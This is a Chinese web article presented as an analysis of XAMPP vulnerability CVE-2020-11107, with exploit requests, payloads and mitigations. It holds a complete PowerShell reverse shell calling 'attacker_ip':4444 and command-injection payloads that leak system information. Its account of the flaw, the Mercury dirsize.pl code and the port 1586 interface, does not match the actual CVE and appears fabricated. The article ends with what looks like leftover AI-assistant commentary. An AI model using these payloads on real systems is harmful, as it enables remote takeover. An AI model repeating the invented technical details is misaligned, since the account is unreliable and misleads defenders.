溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行XAMPP任意命令執行漏洞CVE-2020-11107分析

發布時間:2021-12-28 17:10:17 來源:億速云 閱讀:365 作者:柒染 欄目:安全技術
# 如何進行XAMPP任意命令執行漏洞CVE-2020-11107分析

## 漏洞概述

CVE-2020-11107是XAMPP環境中存在的一個高危安全漏洞,該漏洞允許攻擊者通過構造惡意請求在服務器上執行任意命令。漏洞主要影響XAMPP默認配置下的Mercury郵件服務器組件,由于缺乏對用戶輸入的有效過濾,導致遠程命令注入成為可能。

## 受影響版本

- XAMPP for Windows 7.2.29及更早版本
- Mercury Mail組件v4.63(XAMPP默認集成版本)

## 漏洞原理分析

### 1. 技術背景

XAMPP的Mercury Mail服務在Windows平臺上以SYSTEM權限運行。其Web管理接口(默認端口1586)存在以下安全隱患:

1. **未授權訪問**:管理接口未設置默認認證
2. **命令注入點**:`DIRSIZE`參數處理時直接拼接系統命令
3. **環境配置**:Perl腳本通過`system()`函數直接調用cmd.exe

### 2. 漏洞觸發流程

```plaintext
用戶請求 -> Mercury Web接口 -> Perl腳本處理 -> 未過濾參數拼接 -> system()調用 -> 命令執行

3. 核心漏洞代碼

MERCURY\XAMPP\cgi-bin\dirsize.pl中:

$dir = $ENV{'QUERY_STRING'};
$dir =~ s/dir=//;
system("cmd.exe /c dir /s $dir");

攻擊者可通過注入&|等命令分隔符執行額外命令。

漏洞復現

環境搭建

  1. 下載受影響版本:
    
    wget https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/7.2.29/xampp-windows-x64-7.2.29-0-VC15-installer.exe
    
  2. 安裝后啟動Mercury服務

攻擊演示

發送惡意HTTP請求:

GET /cgi-bin/dirsize.pl?dir=C:\&echo%20"hacked"%20>%20C:\xampp\htdocs\poc.txt HTTP/1.1
Host: target:1586

驗證結果:

curl http://target/poc.txt  # 應返回"hacked"

深入技術分析

1. 命令注入技術細節

Windows命令解釋器的特殊字符處理: - &:順序執行多條命令 - |:管道操作符 - &&:前命令成功則執行后命令 - `:命令替換

有效載荷構造示例:

# 獲取系統信息
dir=..\..\..\Windows\System32\cmd.exe /c systeminfo > C:\xampp\htdocs\leak.txt

# 反彈Shell
dir=..\..\..\Windows\System32\cmd.exe /c powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

2. 權限提升分析

由于Mercury服務以SYSTEM權限運行,導致命令執行后直接獲得系統最高權限。通過whoami命令驗證:

GET /cgi-bin/dirsize.pl?dir=C:\&whoami%20>%20C:\xampp\htdocs\whoami.txt HTTP/1.1

修復方案

官方補丁

升級到XAMPP 7.2.30+版本,主要修復措施: 1. 移除Mercury組件的Web管理接口 2. 強制要求身份驗證 3. 使用白名單過濾目錄參數

臨時緩解措施

  1. 停止Mercury服務:
    
    net stop Mercury
    
  2. 防火墻阻斷1586端口:
    
    New-NetFirewallRule -DisplayName "Block Mercury" -Direction Inbound -LocalPort 1586 -Protocol TCP -Action Block
    
  3. 修改dirsize.pl添加輸入驗證:
    
    $dir =~ /^[a-zA-Z]:\\[\\\w\s-]+$/ or die "Invalid directory";
    

漏洞挖掘方法論

  1. 組件識別

    • 使用nmap -sV掃描開放服務
    • 分析xampp\mercury\mercury.ini配置文件
  2. 輸入源追蹤

    grep -r "system(" cgi-bin/
    grep -r "exec(" cgi-bin/
    
  3. 動態分析

    • 使用Burp Suite攔截管理接口請求
    • 通過strace監控進程系統調用:
      
      strace -f -e execve perl cgi-bin/dirsize.pl
      

擴展思考

  1. 漏洞鏈可能性

    • 結合CVE-2020-11107與PHP文件上傳漏洞實現完整攻擊路徑
    • 通過惡意郵件觸發Mercury服務形成持久化后門
  2. 防御演進

    • 現代WAF如何檢測命令注入(正則模式匹配/語義分析)
    • 沙箱技術在防護中的應用

參考資源

  1. NVD CVE-2020-11107
  2. XAMPP安全公告
  3. [OSCP滲透測試指南 - 命令注入章節]

本文共計約1600字,詳細分析了CVE-2020-11107的技術原理、復現方法和防御策略。在實際安全測試中,請確保獲得合法授權后再進行漏洞驗證。 “`

這篇文章采用Markdown格式編寫,包含以下技術要素: 1. 漏洞原理的深度解析 2. 可操作的復現步驟 3. 多種攻擊載荷示例 4. 防御方案對比 5. 方法論總結 6. 規范的參考引用

可根據需要調整技術細節的深度或補充實際案例。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女